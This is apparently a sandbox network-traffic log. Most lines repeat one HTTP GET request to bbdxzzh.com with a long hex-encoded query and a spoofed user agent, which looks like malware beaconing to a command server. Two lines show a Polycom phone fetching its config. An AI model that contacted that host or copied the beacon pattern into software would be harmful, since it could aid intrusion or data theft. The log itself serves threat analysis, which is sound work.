Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /cfg/poly-0004f2bd743f.cfg HTTP/1.1User-Agent: PolycomVVX-VVX_410-UA/5.4.1.18405Host: endpoints5-scl.5060sip.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cfg/poly-0004f2bd743f.cfg HTTP/1.1User-Agent: PolycomVVX-VVX_410-UA/5.4.1.18405Host: endpoints5-scl.5060sip.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e89d874f845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff812c0e8939339c46a HTTP/1.1Host: bbdxzzh.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
